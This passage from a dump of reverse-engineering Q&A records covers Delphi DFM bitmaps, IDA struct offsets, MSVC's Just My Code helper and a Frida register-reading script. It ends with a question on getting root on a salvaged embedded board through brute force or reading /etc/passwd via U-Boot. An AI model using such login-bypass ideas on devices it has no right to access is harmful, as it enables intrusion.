&quot;header&quot; i believe its just some string, highly doubt its an actual bitmap.</p>\n<p>So, this makes me think that the Windows Forms have their own encoding somewhere, instead of just storing raw bitmaps.</p>\n<p>Is there a good way of replacing these? I would be really grateful for any ideas. I came across <a href=\"https://reverseengineering.stackexchange.com/questions/22268/how-can-one-replace-bitmap-image-inside-exe\">How can one replace bitmap (image) inside exe?</a>, but nothing much came of it...</p>\n<p>It would also be brilliant if I could change the entire windows forms (like dimensions of boxes etc) and the image formats, to allow for transparancy / alpha!</p>\n<p>Thanks in advance!</p>\n",
        "Title": "How can I replace bitmaps & pictures that are defined inside a Windows Form? (Win32 Delphi x86)",
        "Tags": "|delphi|",
        "Answer": "<p>Delphi used not \u201cWindows Forms\u201d (a .Net framework) but a custom UI framework called VCL (Visual Component Library). The forms use a format called DFM and there exist editors that can extract and edit them, for example <a href=\"https://www.mitec.cz/dfm.html\" rel=\"nofollow noreferrer\">DFM Editor</a>.</p>\n<p>If you want to edit them manually, you can find out how the forms are serialized in the VCL sources (IIRC <code>streams.pas</code>). The bitmap data is probably stored as raw pixels, without any headers (metadata like width/height is provided by the form description) which is why you don\u2019t find the signature.</p>\n"
    },
    {
        "Id": "27900",
        "CreationDate": "2021-06-26T10:47:48.430",
        "Body": "<p>I'm reversing a Delphi program and have a part where it says:</p>\n<pre><code>Result = *(Self - 44);\n</code></pre>\n<p>But I want it to say something like:</p>\n<pre><code>Result = *(Self - offsetof(VMT_ClassDefinition, vmtClassName));\n</code></pre>\n<p>Being VMT_ClassDefinition the following struct:</p>\n<pre><code>struct VMT_ClassDefinition {\n    Cardinal vmtSelfPtr;\n    Cardinal vmtIntfTable;\n    Cardinal vmtAutoTable;\n    Cardinal vmtInitTable;\n    Cardinal vmtTypeInfo;\n    Cardinal vmtFieldTable;\n    Cardinal vmtMethodTable;\n    Cardinal vmtDynamicTable;\n    Cardinal vmtClassName;\n    Cardinal vmtInstanceSize;\n    Cardinal vmtParent;\n    Cardinal vmtSafeCallException;\n    Cardinal vmtAfterConstruction;\n    Cardinal vmtBeforeDestruction;\n    Cardinal vmtDispatch;\n    Cardinal vmtDefaultHandler;\n    Cardinal vmtNewInstance;\n    Cardinal vmtFreeInstance;\n    Cardinal vmtDestroy;\n};\n</code></pre>\n<p>Where cardinal is unsigned int. The problem is that after using &quot;Right Click &gt; Struct offset&quot; on top of the number 44 it generates the following result:</p>\n<pre><code>Result = *(Self - offsetof(VMT_ClassDefinition, vmtSafeCallException));\n</code></pre>\n<p>I was doing what is said in <a href=\"https://hex-rays.com/blog/new-features-in-hex-rays-decompiler-1-6/\" rel=\"nofollow noreferrer\">New features in Hex-Rays Decompiler 1.6</a> section 3, but as you can see the expected result and what I got is totally different.</p>\n<p>My guess is that it forgets about the &quot;-&quot; sign and just advances from the start +44. Is there a way to reverse this behavior? I know it can be done in ASM view by inverting with &quot;_&quot; and then pressing &quot;T&quot; like in <a href=\"https://hex-rays.com/blog/negated-structure-offsets/\" rel=\"nofollow noreferrer\">Negated structure offsets</a>, but that does not apply to the Pseudocode view.</p>\n",
        "Title": "IDA Pro Reverse offset in struct",
        "Tags": "|ida|offset|delphi|",
        "Answer": "<p><a href=\"https://hex-rays.com/products/ida/support/idadoc/1695.shtml\" rel=\"nofollow noreferrer\">Shifted pointer</a> should work, I think.</p>\n"
    },
    {
        "Id": "27908",
        "CreationDate": "2021-06-28T10:05:48.240",
        "Body": "<p>I downloaded a file from this link <a href=\"https://storage.cloud.google.com/gresearch/smallcnnzoo-dataset/cifar10.tar.xz\" rel=\"nofollow noreferrer\">https://storage.cloud.google.com/gresearch/smallcnnzoo-dataset/cifar10.tar.xz</a>, and I successfully downloaded the archive file.I unzipped it using 7-Zip. After unzipping the file format type is file<a href=\"https://i.stack.imgur.com/NDmMP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NDmMP.png\" alt=\"FileFormat\" /></a>.</p>\n<p>I converted it to CSV extension but I am unable to read the data its encoded like below\n<a href=\"https://i.stack.imgur.com/MYYAa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MYYAa.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Issue in opening a file type after unzipping",
        "Tags": "|file-format|encryption|decryption|",
        "Answer": "<p>Yes, it's obviously not CSV, what made you think it is? You should contact provider of the dataset or use the program that was supplied with it to read it.</p>\n"
    },
    {
        "Id": "27917",
        "CreationDate": "2021-06-29T10:08:18.613",
        "Body": "<h3>Introduction</h3>\n<p>I compiled a simple executable with Visual Studio in x64 Windows. Source code:</p>\n<pre><code>long test(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j) {\n  printf(&quot;%d %d %d&quot;, a, b, c);\n  return 0x0123456789acdef;\n}\n\nint main() {\n  test(1,2,3,4,5,6,7,8,9,10);\n}\n\n</code></pre>\n<p>If you compile the executable with GCC, then you get what you'd expect: one function call in <code>main</code> (it calls <code>test</code>) and one function call in <code>test</code> (it calls <code>printf</code>).</p>\n<p>However, if you compile the executable with Visual Studio on an x64 Windows machine, then  in both <code>main</code> and <code>test</code>, an additional call is made to some function. Let's call that function <code>mystery</code>. I'd like to know what the <code>mystery</code> function is for.</p>\n<h3>Code</h3>\n<p>Here is the disassembly of the <code>main</code> function. I have added a comment to show where the <code>mystery</code> function is called.</p>\n<pre><code>int main (int argc, char **argv, char **envp);\n; var int64_t var_c8h @ rbp+0xc8\n; var int64_t var_20h @ rsp+0x20\n; var int64_t var_28h @ rsp+0x28\n; var int64_t var_30h @ rsp+0x30\n; var int64_t var_38h @ rsp+0x38\n; var int64_t var_40h @ rsp+0x40\n; var int64_t var_48h @ rsp+0x48\n; var int64_t var_50h @ rsp+0x50\n\npush rbp\npush rdi\nsub rsp, 0x118\nlea rbp, [var_50h]\nlea rcx, [0x1400c1003]\ncall fcn.140034cf1         ; Mystery function here!\nmov dword [var_48h], 0xa\nmov dword [var_40h], 9\nmov dword [var_38h], 8\nmov dword [var_30h], 7\nmov dword [var_28h], 6\nmov dword [var_20h], 5\nmov r9d, 4\nmov r8d, 3\nmov edx, 2\nmov ecx, 1\ncall fcn.140033e73\nxor eax, eax\nlea rsp, [var_c8h]\npop rdi\npop rbp\nret\n</code></pre>\n<p>The same <code>mystery</code> function is also called in the <code>test</code> function:</p>\n<pre><code>test (int64_t arg1, int64_t arg2, int64_t arg3, int64_t arg4);\n; var int64_t var_c8h @ rbp+0xc8\n; var int64_t var_20h_2 @ rsp+0x20\n; var int64_t var_8h @ rsp+0x100\n; var int64_t var_10h @ rsp+0x108\n; var int64_t var_18h @ rsp+0x110\n; var int64_t var_20h @ rsp+0x118\n; arg int64_t arg1 @ rcx\n; arg int64_t arg2 @ rdx\n; arg int64_t arg3 @ r8\n; arg int64_t arg4 @ r9\n\nmov dword [var_20h], r9d   ; arg4\nmov dword [var_18h], r8d   ; arg3\nmov dword [var_10h], edx   ; arg2\nmov dword [var_8h], ecx    ; arg1\npush rbp\npush rdi\nsub rsp, 0xe8\nlea rbp, [var_20h_2]\nlea rcx, [0x1400c1003]\ncall fcn.140034cf1         ; Mystery function here!!!\nmov r9d, dword [var_18h]\nmov r8d, dword [var_10h]\nmov edx, dword [var_8h]\nlea rcx, str._d__d__d      ; 0x14009ff98 ; &quot;%d %d %d&quot;      \ncall fcn.1400335b3\nmov eax, 0x789acdef\nlea rsp, [var_c8h]\npop rdi\npop rbp\nret\n</code></pre>\n<p>Here are the contents of the <code>mystery</code> function:</p>\n<pre><code>\u251c 60: mystery (int64_t arg1);\n\u2502           ; var int64_t var_20h @ rsp+0x20\n\u2502           ; var int64_t var_8h @ rsp+0x40\n\u2502           ; arg int64_t arg1 @ rcx\n\u2502           0x1400387d8      48894c2408     mov qword [var_8h], rcx    ; arg1\n\u2502           0x1400387dd      4883ec38       sub rsp, 0x38\n\u2502           0x1400387e1      488b442440     mov rax, qword [var_8h]\n\u2502           0x1400387e6      4889442420     mov qword [var_20h], rax\n\u2502           0x1400387eb      488b442440     mov rax, qword [var_8h]\n\u2502           0x1400387f0      0fb600         movzx eax, byte [rax]\n\u2502           0x1400387f3      85c0           test eax, eax\n\u2502       \u250c\u2500&lt; 0x1400387f5      7418           je 0x14003880f\n\u2502       \u2502   0x1400387f7      833d06fa0700.  cmp dword [0x1400b8204], 0 ; [0x1400b8204:4]=0\n\u2502      \u250c\u2500\u2500&lt; 0x1400387fe      740f           je 0x14003880f\n\u2502      \u2502\u2502   0x140038800      ff15fa770800   call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId] ; [0x1400c0000:8]=0xc0738 reloc.KERNEL32.dll_GetCurrentThreadId ; &quot;8\\a\\f&quot; ; DWORD GetCurrentThreadId(void)\n\u2502      \u2502\u2502   0x140038806      3905f8f90700   cmp dword [0x1400b8204], eax ; [0x1400b8204:4]=0\n\u2502     \u250c\u2500\u2500\u2500&lt; 0x14003880c      7501           jne 0x14003880f\n\u2502     \u2502\u2502\u2502   0x14003880e      90             nop\n\u2502     \u2502\u2502\u2502   ; CODE XREFS from mystery @ 0x1400387f5, 0x1400387fe, 0x14003880c\n\u2502     \u2514\u2514\u2514\u2500&gt; 0x14003880f      4883c438       add rsp, 0x38\n\u2514           0x140038813      c3             ret\n</code></pre>\n<h3>Notes</h3>\n<p>The call to <strong>KERNEL32.dll_GetCurrentThreadId</strong> in the <code>mystery</code> function seemed interesting, but I couldn't find any information about functions, which get added by the compiler and call GetCurrentThreadId.</p>\n<p>The question arose because I was studying the Microsoft x64 calling convention and I noticed that the <code>mystery</code> function didn't seem to use &quot;home space&quot; (also known as &quot;shadow space&quot;, 32 bytes of space on the stack that's assigned to each function). I wanted to know what that function is and why home space wasn't assigned to it.</p>\n<p>So the question is, what is the <code>mystery</code> function?</p>\n",
        "Title": "The compiler adds a function call to user-defined functions. What does the function do? (x64 Windows executable)",
        "Tags": "|disassembly|",
        "Answer": "<p>The &quot;mystery&quot; function you refer to is called <code>__CheckForDebuggerJustMyCode</code> and is inserted by MSVC when <code>/JMC</code> (Just My Code debugging) option is enabled. From <a href=\"https://docs.microsoft.com/en-us/cpp/build/reference/jmc?view=msvc-160\" rel=\"noreferrer\">docs</a>:</p>\n<blockquote>\n<p>/JMC (Just My Code debugging)</p>\n<p>Specifies compiler support for native Just My Code debugging in the Visual Studio debugger. This option supports the user settings that allow Visual Studio to step over system, framework, library, and other non-user calls, and to collapse those calls in the call stack window.</p>\n<p>[...]</p>\n<p>The Visual Studio Just My Code settings specify whether the Visual Studio debugger steps over system, framework, library, and other non-user calls. The /JMC compiler option enables support for Just My Code debugging in your native C++ code. When /JMC is enabled, the compiler inserts calls to a helper function, __CheckForDebuggerJustMyCode, in the function prolog. The helper function provides hooks that support Visual Studio debugger Just My Code step operations.</p>\n</blockquote>\n<p>To verify that the &quot;mystery&quot; function indeed corresponds to <code>__CheckForDebuggerJustMyCode</code>, you can put the breakpoint in Visual Studio in the <code>main</code>'s first line, press <kbd>F5</kbd> to start debugging, and then <kbd>ctrl</kbd> + <kbd>alt</kbd> + <kbd>d</kbd> to show window with the assembly generated by the compiler. You will get something like this:</p>\n<p><a href=\"https://i.stack.imgur.com/hLqt8.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/hLqt8.png\" alt=\"main's disassembly\" /></a></p>\n"
    },
    {
        "Id": "27925",
        "CreationDate": "2021-07-01T11:48:40.627",
        "Body": "<p>I have an instruction that looks like this in Ghidra:</p>\n<pre><code>       100168ff0 e9 13 00 32     orr        w9,wzr,#0x1f\n</code></pre>\n<p>Using <code>lldb</code> I can set a breakpoint on the instruction after this, read <code>w9</code> to confirm what value it is storing and modify it if needs be.</p>\n<p>I am trying to do something similar with Frida with the following script:</p>\n<pre><code>var t_module = 'testApp';\nvar loadAddress = Module.getBaseAddress(t_module);\nvar instructionOffset = ptr(0x168ff4);\n\nvar toAtt = loadAddress.add(instructionOffset);\n\nInterceptor.attach(toAtt, {\n    onEnter: function(args) {\n        console.log(&quot;[+] Module base address found at &quot; + loadAddress)\n        console.log(&quot;[+] Found instruction at &quot; + toAtt)\n        console.log(&quot;[+] Attempting to read w9: &quot; + this.context.w9)\n    }\n});\n</code></pre>\n<p>however trying to read <code>w9</code> just returns <code>undefined</code>.  It is defined <a href=\"https://frida.re/docs/javascript-api/#aarch64-enum-types\" rel=\"nofollow noreferrer\">here</a> so is not that Frida is calling it something else.</p>\n<p>I can confirm the right address is being reached using:</p>\n<pre><code>Memory.readByteArray(ptr(&quot;0x102ab4ff0&quot;),4)\n</code></pre>\n<p>where <code>0x102ab4ff0</code> is the address printed by the script, and comparing it to the instruction at the beginning from Ghidra.</p>\n<p>I'm not sure if I've misunderstood something about Frida or where I should attach. <a href=\"https://reverseengineering.stackexchange.com/questions/21701/dump-value-of-register-using-frida\">This</a> is the closest question I could find and that just says to use <code>this.context.eax</code>.</p>\n",
        "Title": "Read and write to register with Frida",
        "Tags": "|ios|register|frida|arm64|aarch64|",
        "Answer": "<p>The issue was that <code>w9</code> is a 32-bit register and I was using a 64 bit device.  By calling <code>this.context.x9</code> for the 64 bit register the Frida script worked perfectly.  Many thanks to @whoopdedoo, their suggestion to log <code>this.context</code> was what led me to search more about ARM registers and realise my mistake.</p>\n"
    },
    {
        "Id": "27931",
        "CreationDate": "2021-07-01T21:11:30.793",
        "Body": "<p>I've saved from the trash bin an embedded system using an OPOS6UL (<a href=\"http://www.armadeus.org/wiki/index.php?title=OPOS6UL\" rel=\"nofollow noreferrer\">http://www.armadeus.org/wiki/index.php?title=OPOS6UL</a>) as Single Board Computer.\nIt was easy to get an UART console, but I cannot log in because I don't know the password.</p>\n<p>What can be ways to get root access ?</p>\n<p>I think :</p>\n<ul>\n<li>try common passwords/development kit default password =&gt; not working</li>\n<li>brute-force the password : too long, I have to wait several seconds between retries</li>\n<li>dump the eMMC to read /etc/passwd : hardware dump is impossible, is it possible from u-boot ?</li>\n<li>any other idea ?</li>\n</ul>\n<p>Here is the boot log :</p>\n<pre><code>U-Boot SPL 2016.05 (Sep 22 2017 - 16:24:46)\nTrying to boot from MMC1\n\n\nU-Boot 2016.05 (Sep 22 2017 - 16:24:46 +0200)\n\nCPU:   Freescale i.MX6UL rev1.1 at 396 MHz\nReset cause: POR\nBoard: OPOS6UL\nDRAM:  256 MiB\nMMC:   FSL_SDHC: 0\nVideo: 800x480x18\nNet:   FEC [PRIME]\nHit any key to stop autoboot:  0\n1152122 bytes read in 140 ms (7.8 MiB/s)\n5243120 bytes read in 265 ms (18.9 MiB/s)\n27370 bytes read in 116 ms (229.5 KiB/s)\nKernel image @ 0x82000000 [ 0x000000 - 0x5000f0 ]\n## Flattened Device Tree blob at 88000000\n   Booting using the fdt blob at 0x88000000\n   Using Device Tree in place at 88000000, end 88009ae9\n\nStarting kernel ...\n\n[    0.000000] Booting Linux on physical CPU 0x0\n[    0.000000] Linux version 4.8.10 (microlide@dev-armadeus) (gcc version 6.2.1 20161016 (Linaro GCC 6.2-2016.11) ) #1 PREEMPT Mon Oct 23 18:04:19 CEST 2017\n[    0.000000] CPU: ARMv7 Processor [410fc075] revision 5 (ARMv7), cr=10c53c7d\n[    0.000000] CPU: div instructions available: patching division code\n[    0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache\n[    0.000000] OF: fdt:Machine model: Armadeus Systems OPOS6UL SoM on OPOS6ULDev board\n[    0.000000] cma: Reserved 16 MiB at 0x8f000000\n[    0.000000] Memory policy: Data cache writeback\n[    0.000000] CPU: All CPU(s) started in SVC mode.\n[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 65024\n[    0.000000] Kernel command line: console=ttymxc0,115200 root=/dev/mmcblk0p2 ro rootfstype=ext4 rootwait\n[    0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)\n[    0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)\n[    0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)\n[    0.000000] Memory: 222416K/262144K available (8192K kernel code, 365K rwdata, 2296K rodata, 1024K init, 8206K bss, 23344K reserved, 16384K cma-reserved, 0K highmem)\n[    0.000000] Virtual kernel memory layout:\n[    0.000000]     vector  : 0xffff0000 - 0xffff1000   (   4 kB)\n[    0.000000]     fixmap  : 0xffc00000 - 0xfff00000   (3072 kB)\n[    0.000000]     vmalloc : 0xd0800000 - 0xff800000   ( 752 MB)\n[    0.000000]     lowmem  : 0xc0000000 - 0xd0000000   ( 256 MB)\n[    0.000000]     pkmap   : 0xbfe00000 - 0xc0000000   (   2 MB)\n[    0.000000]     modules : 0xbf000000 - 0xbfe00000   (  14 MB)\n[    0.000000]       .text : 0xc0008000 - 0xc0900000   (9184 kB)\n[    0.000000]       .init : 0xc0c00000 - 0xc0d00000   (1024 kB)\n[    0.000000]       .data : 0xc0d00000 - 0xc0d5b6c0   ( 366 kB)\n[    0.000000]        .bss : 0xc0d5d000 - 0xc1560bc0   (8207 kB)\n[    0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1\n[    0.000000] Running RCU self tests\n[    0.000000] Preemptible hierarchical RCU implementation.\n[    0.000000]  RCU lockdep checking is enabled.\n[    0.000000]  Build-time adjustment of leaf fanout to 32.\n[    0.000000] NR_IRQS:16 nr_irqs:16 16\n[    0.000000] Switching to timer-based delay loop, resolution 41ns\n[    0.000018] sched_clock: 32 bits at 24MHz, resolution 41ns, wraps every 89478484971ns\n[    0.000068] clocksource: mxc_timer1: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 79635851949 ns\n[    0.002539] Console: colour dummy device 80x30\n[    0.002617] Lock dependency validator: Copyright (c) 2006 Red Hat, Inc., Ingo Molnar\n[    0.002645] ... MAX_LOCKDEP_SUBCLASSES:  8\n[    0.002669] ... MAX_LOCK_DEPTH:          48\n[    0.002692] ... MAX_LOCKDEP_KEYS:        8191\n[    0.002714] ... CLASSHASH_SIZE:          4096\n[    0.002734] ... MAX_LOCKDEP_ENTRIES:     32768\n[    0.002756] ... MAX_LOCKDEP_CHAINS:      65536\n[    0.002777] ... CHAINHASH_SIZE:          32768\n[    0.002797]  memory used by lock dependency info: 5167 kB\n[    0.002820]  per task-struct memory footprint: 1536 bytes\n[    0.002902] Calibrating delay loop (skipped), value calculated using timer frequency.. 48.00 BogoMIPS (lpj=240000)\n[    0.002951] pid_max: default: 32768 minimum: 301\n[    0.003414] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)\n[    0.003453] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)\n[    0.007619] CPU: Testing write buffer coherency: ok\n[    0.009185] Setting up static identity map for 0x80100000 - 0x80100058\n[    0.018704] devtmpfs: initialized\n[    0.075673] VFP support v0.3: implementor 41 architecture 2 part 30 variant 7 rev 5\n[    0.077702] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns\n[    0.079738] pinctrl core: initialized pinctrl subsystem\n[    0.088450] NET: Registered protocol family 16\n[    0.096017] DMA: preallocated 256 KiB pool for atomic coherent allocations\n[    0.121662] cpuidle: using governor menu\n[    0.235335] No ATAGs?\n[    0.235421] hw-breakpoint: found 5 (+1 reserved) breakpoint and 4 watchpoint registers.\n[    0.235466] hw-breakpoint: maximum watchpoint size is 8 bytes.\n[    0.239662] imx6ul-pinctrl 20e0000.iomuxc: initialized IMX pinctrl driver\n[    0.342756] mxs-dma 1804000.dma-apbh: initialized\n[    0.354723] SCSI subsystem initialized\n[    0.356743] usbcore: registered new interface driver usbfs\n[    0.357205] usbcore: registered new interface driver hub\n[    0.357732] usbcore: registered new device driver usb\n[    0.371759] i2c i2c-0: IMX I2C adapter registered\n[    0.371861] i2c i2c-0: can't use DMA, using PIO instead.\n[    0.375130] i2c i2c-1: IMX I2C adapter registered\n[    0.375243] i2c i2c-1: can't use DMA, using PIO instead.\n[    0.375715] Linux video capture interface: v2.00\n[    0.376298] pps_core: LinuxPPS API ver. 1 registered\n[    0.376342] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti &lt;giometti@linux.it&gt;\n[    0.376490] PTP clock support registered\n[    0.378804] Advanced Linux Sound Architecture Driver Initialized.\n[    0.386157] Bluetooth: Core ver 2.21\n[    0.386451] NET: Registered protocol family 31\n[    0.386493] Bluetooth: HCI device and connection manager initialized\n[    0.386657] Bluetooth: HCI socket layer initialized\n[    0.386750] Bluetooth: L2CAP socket layer initialized\n[    0.387093] Bluetooth: SCO socket layer initialized\n[    0.393353] clocksource: Switched to clocksource mxc_timer1\n[    0.394955] VFS: Disk quotas dquot_6.6.0\n[    0.395154] VFS: Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)\n[    0.469809] NET: Registered protocol family 2\n[    0.473710] TCP established hash table entries: 2048 (order: 1, 8192 bytes)\n[    0.473882] TCP bind hash table entries: 2048 (order: 4, 73728 bytes)\n[    0.475577] TCP: Hash tables configured (established 2048 bind 2048)\n[    0.475951] UDP hash table entries: 256 (order: 2, 20480 bytes)\n[    0.476446] UDP-Lite hash table entries: 256 (order: 2, 20480 bytes)\n[    0.478586] NET: Registered protocol family 1\n[    0.481133] RPC: Registered named UNIX socket transport module.\n[    0.481189] RPC: Registered udp transport module.\n[    0.481223] RPC: Registered tcp transport module.\n[    0.481255] RPC: Registered tcp NFSv4.1 backchannel transport module.\n[    0.490799] futex hash table entries: 256 (order: 1, 11264 bytes)\n[    0.494511] workingset: timestamp_bits=30 max_order=16 bucket_order=0\n[    0.560068] NFS: Registering the id_resolver key type\n[    0.560501] Key type id_resolver registered\n[    0.560544] Key type id_legacy registered\n[    0.562075] fuse init (API version 7.25)\n[    0.587295] io scheduler noop registered\n[    0.587357] io scheduler deadline registered\n[    0.588550] io scheduler cfq registered (default)\n[    0.599626] lcd_backlight supply power not found, using dummy regulator\n[    0.636295] Console: switching to colour frame buffer device 100x30\n[    0.653101] mxsfb 21c8000.lcdif: initialized\n[    0.657898] imx-sdma 20ec000.sdma: Direct firmware load for imx/sdma/sdma-imx6q.bin failed with error -2\n[    0.657979] imx-sdma 20ec000.sdma: external firmware not found, using ROM firmware\n[    0.684856] 2020000.serial: ttymxc0 at MMIO 0x2020000 (irq = 18, base_baud = 5000000) is a IMX\n[    1.346291] console [ttymxc0] enabled\n[    1.354793] 2024000.serial: ttymxc7 at MMIO 0x2024000 (irq = 19, base_baud = 5000000) is a IMX\n[    1.367774] 21e8000.serial: ttymxc1 at MMIO 0x21e8000 (irq = 219, base_baud = 5000000) is a IMX\n[    1.459475] brd: module loaded\n[    1.508714] loop: module loaded\n[    1.523143] libphy: Fixed MDIO Bus: probed\n[    1.530081] tun: Universal TUN/TAP device driver, 1.6\n[    1.535280] tun: (C) 1999-2004 Max Krasnyansky &lt;maxk@qualcomm.com&gt;\n[    1.543022] CAN device driver interface\n[    1.554083] flexcan 2090000.flexcan: device registered (reg_base=d0988000, irq=23)\n[    1.567529] flexcan 2094000.flexcan: device registered (reg_base=d0990000, irq=24)\n[    1.585840] pps pps0: new PPS source ptp0\n[    1.592219] libphy: fec_enet_mii_bus: probed\n[    1.606885] fec 2188000.ethernet eth0: registered PHC device 0\n[    1.613883] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver\n[    1.620487] ehci-mxc: Freescale On-Chip EHCI Host driver\n[    1.628031] usbcore: registered new interface driver usb-storage\n[    1.647084] ci_hdrc ci_hdrc.0: EHCI Host Controller\n[    1.652843] ci_hdrc ci_hdrc.0: new USB bus registered, assigned bus number 1\n[    1.683587] ci_hdrc ci_hdrc.0: USB 2.0 started, EHCI 1.00\n[    1.698253] hub 1-0:1.0: USB hub found\n[    1.702545] hub 1-0:1.0: 1 port detected\n[    1.717618] mousedev: PS/2 mouse device common for all mice\n[    1.730961] input: iMX6UL Touchscreen Controller as /devices/soc0/soc/2000000.aips-bus/2040000.tsc/input/input0\n[    1.750908] snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-r as rtc0\n[    1.760393] i2c /dev entries driver\n[    1.769849] IR NEC protocol handler initialized\n[    1.774614] IR RC5(x/sz) protocol handler initialized\n[    1.779735] IR RC6 protocol handler initialized\n[    1.784383] IR JVC protocol handler initialized\n[    1.788975] IR Sony protocol handler initialized\n[    1.793698] IR SANYO protocol handler initialized\n[    1.798460] IR Sharp protocol handler initialized\n[    1.803216] IR MCE Keyboard/mouse protocol handler initialized\n[    1.809147] IR XMP protocol handler initialized\n[    1.818819] Driver for 1-wire Dallas network protocol.\n[    1.835814] imx2-wdt 20bc000.wdog: timeout 60 sec (nowayout=0)\n[    1.842347] Bluetooth: HCI UART driver ver 2.3\n[    1.846988] Bluetooth: HCI UART protocol H4 registered\n[    1.852186] Bluetooth: HCI UART protocol LL registered\n[    1.860610] sdhci: Secure Digital Host Controller Interface driver\n[    1.866985] sdhci: Copyright(c) Pierre Ossman\n[    1.871399] sdhci-pltfm: SDHCI platform and OF driver helper\n[    1.944150] mmc0: SDHCI controller on 2190000.usdhc [2190000.usdhc] using ADMA\n[    1.972370] sdhci-esdhc-imx 2194000.usdhc: allocated mmc-pwrseq\n[    2.049183] mmc0: new DDR MMC card at address 0001\n[    2.054202] mmc1: SDHCI controller on 2194000.usdhc [2194000.usdhc] using ADMA\n[    2.073896] usbcore: registered new interface driver usbhid\n[    2.079543] usbhid: USB HID core driver\n[    2.087169] mmcblk0: mmc0:0001 004G60 3.69 GiB\n[    2.091635] mmcblk0boot0: mmc0:0001 004G60 partition 1 2.00 MiB\n[    2.110057] mmcblk0boot1: mmc0:0001 004G60 partition 2 2.00 MiB\n[    2.124280] mmcblk0rpmb: mmc0:0001 004G60 partition 3 512 KiB\n[    2.127167] random: fast init done\n[    2.163821]  mmcblk0: p1 p2 p3\n[    2.202947] ad7291: probe of 0-002b failed with error -5\n[    2.219661] ad7291: probe of 0-0028 failed with error -5\n[    2.232817] ad7291: probe of 0-002c failed with error -5\n[    2.245991] ad7291: probe of 0-002e failed with error -5\n[    2.260294] ad7291: probe of 0-002f failed with error -5\n[    2.271157] ad7291: probe of 0-0020 failed with error -5\n[    2.277839] ad7291: probe of 0-0022 failed with error -5\n[    2.284355] ad7291: probe of 0-0023 failed with error -5\n[    2.290613] 0-0035 supply vcc not found, using dummy regulator\n[    2.332144] NET: Registered protocol family 10\n[    2.370320] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver\n[    2.391321] NET: Registered protocol family 17\n[    2.396669] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.\n[    2.409469] can: controller area network core (rev 20120528 abi 9)\n[    2.416208] NET: Registered protocol family 29\n[    2.420807] can: raw protocol (rev 20120528)\n[    2.427567] can: broadcast manager protocol (rev 20160617 t)\n[    2.433512] can: netlink gateway (rev 20130117) max_hops=1\n[    2.440819] Key type dns_resolver registered\n[    2.448746] cpu cpu0: dev_pm_opp_get_opp_count: OPP table not found (-19)\n[    2.511731] input: gpio-keys as /devices/soc0/gpio-keys/input/input1\n[    2.520111] snvs_rtc 20cc000.snvs:snvs-rtc-lp: setting system clock to 1970-01-01 00:09:20 UTC (560)\n[    2.615271] vdd3p0: disabling\n[    2.618343] 5V: disabling\n[    2.622018] ALSA device list:\n[    2.625126]   No soundcards found.\n[    2.641654] EXT4-fs (mmcblk0p2): INFO: recovery required on readonly filesystem\n[    2.650095] EXT4-fs (mmcblk0p2): write access will be enabled during recovery\n[    2.708695] EXT4-fs (mmcblk0p2): recovery complete\n[    2.717027] EXT4-fs (mmcblk0p2): mounted filesystem with ordered data mode. Opts: (null)\n[    2.725495] VFS: Mounted root (ext4 filesystem) readonly on device 179:2.\n[    2.736339] devtmpfs: mounted\n[    2.742408] Freeing unused kernel memory: 1024K (c0c00000 - c0d00000)\n[    2.857744] EXT4-fs (mmcblk0p2): re-mounted. Opts: data=ordered\n[    2.939440] EXT4-fs (mmcblk0p3): recovery complete\n[    2.945394] EXT4-fs (mmcblk0p3): mounted filesystem with ordered data mode. Opts: (null)\nStarting logging: OK\nStarting mdev...\nInitializing random number generator... done.\nStarting system message bus: done\nStarting network: [    4.657851] Micrel KSZ8081 or KSZ8091 2188000.ethernet:01: attached PHY driver [Micrel KSZ8081 or KSZ8091] (mii_bus:phy_addr=2188000.ethernet:01, irq=145)\n[    4.676761] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready\nudhcpc: started, v1.26.2\nudhcpc: sending discover\nudhcpc: sending discover\nudhcpc: sending discover\nudhcpc: no lease, failing\nFAIL\nStarting dropbear sshd: OK\nStarting lighttpd: OK\nStarting sshd: key_load_private: invalid format\nkey_load_public: invalid format\nCould not load host key: /etc/ssh/ssh_host_rsa_key\nkey_load_private: invalid format\nkey_load_public: invalid format\nCould not load host key: /etc/ssh/ssh_host_dsa_key\nkey_load_private: invalid format\nkey_load_public: invalid format\nCould not load host key: /etc/ssh/ssh_host_ecdsa_key\nkey_load_private: invalid format\nkey_load_public: invalid format\nCould not load host key: /etc/ssh/ssh_host_ed25519_key\nsshd: no hostkeys available -- exiting.\nOK\n/etc/init.d/rcS: line 26: /etc/init.d/S90init-carte-iminilide: Permission denied\nhwclock: settimeofday: Invalid argument\nhwclock :\nThu Jan  1 00:09:33 1970  0.000000 seconds\nhwclock -r :\nThu Jan  1 00:09:33 1970  0.000000 seconds\ndate :\nThu Jan  1 01:09:32 CET 1970\n\nWelcome to Armadeus development platform !\nopos6ul login:\n</code></pre>\n<p>And here are the available u-boot commands :</p>\n<pre><code>BIOS&gt; help\n?       - alias for 'help'\naskenv  - get environment variables from stdin\nbase    - print or set address offset\nbdinfo  - print Board Info structure\nbmode   - 